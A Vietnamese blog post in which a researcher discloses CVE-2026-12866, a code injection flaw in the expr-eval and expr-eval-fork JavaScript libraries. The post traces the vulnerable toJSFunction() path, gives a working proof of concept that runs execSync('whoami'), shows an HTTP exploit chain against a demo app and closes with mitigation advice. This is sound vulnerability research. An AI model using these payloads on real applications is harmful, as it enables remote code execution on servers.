Năm 2016, team phát triển AngularJS gỡ bỏ expression sandbox và tuyên bố rằng cơ chế này chưa bao giờ được thiết kế để là một security boundary đảm bảo input đi qua là an toàn. Sandbox đó cố chặn các định danh nguy hiểm trong expression grammar của Angular, và liên tục bị bypass vì đơn giản là không thể vá một ngôn ngữ bằng danh sách chặn. Từ đó, chạy biểu thức do người dùng nhập một cách an toàn vẫn là bài toán nan giải.
expr-evallà một ví dụ cho vấn đề trên, chỉ khác ở cách nó bị khai thác.
Bài Blog này để trình bày cách mình phát hiện ra CVE-2026-12866, một lỗ hổng Code Injection có trong thư việnexpr-evalvàexpr-eval-fork, được đánh giá CVSS 9.8 (Critical). Mình sẽ đi qua toàn bộ quá trình từ lúc phát hiện đoạn code đáng ngờ trongtoJSFunction(), xây dựng proof-of-concept từ đơn giản đến trực quan hơn.
1. expr-eval là gì ?
expr-eval là một parser + evaluator cho biểu thức toán trong JavaScript. Đưa vào một chuỗi như "cpu * 0.6 + memory * 0.4" và nó sẽ trả về kết quả số. Thư viện này thường được ứng dụng vào những chức năng như cột tính toán do người dùng tự định nghĩa, luật cảnh báo, công cụ no-code, hoặc máy tính công thức trong Saas. Trong thời điểm ra mắt, expr-eval được kỳ vọng là dùng an toàn để thay cho hàmeval() của JavaScript. Hiện dự án gốc gần như không còn được duy trì, commit gần nhất đã cách đây nhiều năm.
Dù vậy, thư viện này vẫn rất phổ biến. Đầu tháng 11/2025, expr-eval bị phát hiện dính CVE-2025-12735. Điều đáng chú ý là bản vá không đến từ dự án gốc mà từ một bản fork mang tên expr-eval-fork, vốn đã được cộng đồng tạo ra từ năm 2022 sau khi một bản vá bảo mật khác bị mắc kẹt, chưa từng được publish lên npm mới là nơi tiếp nhận và phát hành bản vá cho CVE-2025-12735, trong khi gói expr-eval gốc trên npm đến nay vẫn chưa có fix chính thức. Hiện expr-eval-fork đã vượt xa bản gốc về lượt tải, khoảng hơn 2 triệu lượt/tuần so với ~490.000 lượt/tuần của bản gốc, cho thấy cộng đồng đang dần chuyển hẳn sang dùng bản fork thay vì thư viện gốc." Quá trình nghiên cứu 1-DAY CVE-2025-12735 thời điểm đó cũng là khi mình tìm ra CVE-2026-12866.

Thư viện có hai đường để chạy một biểu thức đã parse là đường thông dịch (.evaluate()) và đường biên dịch (.toJSFunction()):
Với đường thông dịch thì expr-eval an toàn:
const { Parser } = require('expr-eval');
const parser = new Parser();
parser.evaluate('cpu * 0.6 + memory * 0.4', { cpu: 90, memory: 80 });
// => 86Ở đoạn code trên, evaluate() sẽ duyệt cây token và tra cứu giá trị của mỗi biến tại thời điểm chạy. Không có mã nguồn nào được sinh ra. Biến sẽ luôn là dữ liệu và không bao giờ là văn bản chương trình.
Nhưng với đường biên dịch:
const fn = parser.parse('cpu * 0.6 + memory * 0.4').toJSFunction('cpu,memory');
fn(90, 80); // => 86toJSFunction() biên dịch biểu thức thành mã nguồn JavaScript rồi nạp vào new Function(...). Với người dùng, hai con đường cho cùng kết quả, nhưng về mặt bảo mật thì lại khác nhau.
2. toJSFunction(): Code Injection
Đi sâu vào source code, tham số thứ hai của toJSFunction(param, variables) cho phép constant-fold một số biến trực tiếp vào hàm đã biên dịch để tăng tốc thực thi. Vấn đề nằm ở chỗ giá trị của các biến này được nội suy thẳng vào mã nguồn sinh ra, mà hầu như không qua bước kiểm tra kiểu nào.
Mình bắt đầu truy vết sink source và nhận thấy lỗi đi qua bốn bước:
Bước 1 — constant-folding nhét raw value vào token stream (simplify, ~L77):
} else if (type === IVAR && values.hasOwnProperty(item.value)) {
item = new Instruction(INUMBER, values[item.value]);
nstack.push(item);
}Bất kỳ khóa nào có trong object variables đều bị fold thẳng vào token stream dưới dạng instruction INUMBER. Dù tên là INUMBER, .value của nó không hề được kiểm tra là số, nên nó có thể là bất cứ thứ gì truyền vào: chuỗi, object hoặc hàm.
Bước 2 — serialize chỉ escape đúng kiểu string (escapeValue, ~L418):
function escapeValue(v) {
if (typeof v === 'string') {
return JSON.stringify(v)...; // chỉ string được xử lý đúng
}
return v; // mọi kiểu khác: trả về nguyên trạng
}Đây là nơi duy nhất expr-eval cố làm cho một giá trị an toàn khi nhúng vào mã sinh ra. Nhưng nó chỉ xử lý đúng một kiểu là string, còn với mọi kiểu khác, kể cả object thường, nó sẽ trả về nguyên trạng.
Bước 3 — ghép mảng ngầm gọi toString() (expressionToString, ~L297–415):
expressionToString() dựng thân hàm bằng một stack các mảnh chuỗi (nstack) dùng chung cho mọi loại token. Với các node có nhiều toán hạng con - mảng, lời gọi hàm, định nghĩa hàm, các mảnh con được gộp lại bằng args.join(', '). Nhánh IARRAY xử lý biểu thức mảng (L395):
} else if (type === IARRAY) {
argCount = item.value;
args = [];
while (argCount-- > 0) {
args.unshift(nstack.pop());
}
nstack.push('[' + args.join(', ') + ']');
}Vấn đề nằm ở args.join(', '). Ở bước 2, escapeValue() chỉ xử lý đúng giá trị kiểu string. Với mọi kiểu khác, nó trả về nguyên vẹn object gốc, chưa qua bất kỳ phép chuyển đổi nào nên object vẫn còn trong args khi tới bước này. Array.prototype.join gọi ToString() trên từng phần tử để nối chuỗi lại. Với một phần tử là object, ToString() gọi x.toString(), và giá trị trả về được chèn thẳng vào thân hàm đang dựng, không phải như một giá trị đã escape, mà như văn bản mã nguồn.
Bước 4 — new Function biên dịch (toJSFunction, ~L517):
var f = new Function(param,
'with(this.functions) ... { return ' +
expressionToString(this.simplify(variables).tokens, true) + '; }');Chuỗi dựng từ bước 1 - 3 được ghép thẳng vào thân new Function. Không có bước làm sạch nào nữa.
Kết quả là một object có toString() được truyền như giá trị biến sẽ không được coi là dữ liệu. toString() của nó bị thực thi lúc biên dịch, và chuỗi trả về được ghép thẳng vào mã nguồn của hàm sinh ra, không còn bị giới hạn là một giá trị, mà là cú pháp JavaScript bất kỳ.
3. Minimal Reproduction
Đầu tiên, mình cài đặt package expr-eval:

Để thử kiểm chứng nhanh lỗi, mình đã dựng một PoC đơn giản:
'use strict';
const { Parser } = require('expr-eval');
const parser = new Parser();
const expr = parser.parse('[cmd]');
const payload = {
toString: () => `
(function () {
const cp = process.mainModule.require('child_process');
return cp.execSync('whoami').toString().trim();
})()
`
};
const fn = expr.toJSFunction('', { cmd: payload });
console.log(fn()); // -> in ra tên user của tiến trình = mã tùy ý đã chạyGiờ chạy thử poc trên:

Kết quả có thể thấy: Terminal in username hiện tại là admin, đồng thời file expr-eval-poc.txt được tạo ở thư mục, chứng minh rõ ràng rằng mã JavaScript đã được thực thi.

4. Production-Like Exploit
Một PoC in ra whoami trong terminal chứng minh được lỗi tồn tại, nhưng chưa cho thấy đủ tác động của nó khi lỗi nằm trong một ứng dụng có ngữ cảnh nghiệp vụ cụ thể. Vậy nên để trực quan hơn, mình dựng một engine giám sát server kèm luật cảnh báo, đặt tên là AlertFlow.

Người dùng định nghĩa số liệu dẫn xuất (biểu thức con dùng lại, ví dụ pressure = cpu*0.6 + memory*0.4) và luật (pressure > 75 and disk > 80). Để chạy nhanh, AlertFlow biên dịch mỗi luật bằng toJSFunction(). Khi luật tham chiếu một số liệu dẫn xuất, định nghĩa của số liệu đó được chèn thẳng vào hàm biên dịch, cũng chính là con đường dính lỗi.

Khác biệt so với một demo cắm payload trực tiếp từ ngoài vào là ở AlertFlow, bên dựng object có toString() là server, còn người dùng chỉ cung cấp chuỗi định nghĩa. Nhờ vậy lỗi khai thác được qua HTTP, attacker không cần truyền một hàm (thứ JSON.parse không thể tạo ra), chỉ cần kiểm soát văn bản định nghĩa.
Payload minh hoạ
Payload minh hoạ của mình chỉ đặt một cờ toàn cục:
("")["constructor"]["constructor"]("globalThis.__ALERTFLOW_PROOF={at:Date.now(),via:9866}")()Payload này không xoá file, chạy lệnh shell hay kết nối mạng mà chỉ ghi vào global state của tiến trình. Một công thức toán học thuần túy không bao giờ làm được điều đó, nên cờ này xuất hiện đồng nghĩa với mã tùy ý đã chạy.

Trong giao diện AlertFlow, bấm "Chạy minh hoạ" sẽ lần lượt tạo ra các HTTP Request:
POST /api/derived- lưu payload như một số liệu dẫn xuất:
POST /api/rules- biên dịch một luật dùng công thức đó →new Function():
POST /api/metrics- nạp một mẫu, kích hoạt đánh giá luật:
GET /api/security-probe- kiểm tra flag:
Kết quả: executed: true xác nhận payload đã chạy như mã JavaScript bên trong tiến trình server, chứ không bị đánh giá như một biểu thức toán học. Toàn bộ chain diễn ra qua HTTP thuần, không cần quyền nào khác ngoài việc gọi được bốn endpoint trên.
5. Kết luận
Có thể thấy CVE-2026-12866 không phải lỗi ở logic đánh giá biểu thức. evaluate() tức đường thông dịch của expr-eval vẫn hoạt động đúng như thiết kế: biến là dữ liệu, biểu thức là biểu thức, không lẫn vào nhau. Lỗi nằm hoàn toàn ở đường biên dịch toJSFunction(), nơi giá trị biến được nội suy thẳng vào mã nguồn sinh ra mà không kiểm tra kiểu, biến một cơ chế tối ưu hiệu năng thành một cổng code injection.
Điểm đáng chú ý là vector khai thác không đi qua expression grammar. Attacker không cần tìm cách thoát khỏi bộ parser hay bypass danh sách chặn định danh như các sandbox escape của AngularJS trước đây. Thay vào đó, payload đi qua đường dữ liệu, một object có toString() được truyền vào chỗ mà thư viện coi là hằng số, và Array.prototype.join gọi toString() của nó một cách ngầm định trong lúc dựng thân hàm. Kết quả là chuỗi trả về trở thành mã nguồn JavaScript, được new Function() biên dịch và thực thi.
Với người đang dùng expr-eval hoặc expr-eval-fork:
- Nếu codebase chỉ dùng
evaluate()và không gọitoJSFunction(), ứng dụng không dính lỗi này (nhưng vẫn cần lưu ý CVE-2025-12735 ảnh hưởng riêng đườngevaluate()). - Nếu có dùng
toJSFunction(), cần kiểm tra lại: tham sốvariablescó chứa dữ liệu đến từ nguồn không tin cậy hay không, kể cả khi dữ liệu đó do server tự dựng từ input người dùng, như trường hợp AlertFlow đã minh hoạ trước đó.
Bài học rộng hơn, mình nghĩ vẫn là điều mà AngularJS đã nói từ trước: không thể biến một bộ đánh giá biểu thức thành security boundary chỉ bằng cách chặn từ khoá hay lọc input. Khi thư viện tự sinh mã nguồn rồi thực thi, mọi đường dẫn mà dữ liệu không tin cậy có thể chạm tới mã sinh ra đều là attack surface.
References
- Ksenia Peguero . An escape room called the ‘AngularJS sandbox’ - https://www.blackduck.com/blog/angularjs-sandbox.html
- OWASP . Code Injection - https://owasp.org/www-community/attacks/Code_Injection
- Thư viện expr-eval - https://www.npmjs.com/package/expr-eval - https://github.com/silentmatt/expr-eval/issues
- Thư viện expr-eval-fork - https://www.npmjs.com/package/expr-eval-fork - https://github.com/jorenbroekema/expr-eval
- Github Advisory Database - https://github.com/advisories/ghsa-q9v2-7m5w-4693
- Report gốc của CVE-2026-12866 - https://gist.github.com/I3r4dd0ck/928a1780b31255cdb10707d531036a5c
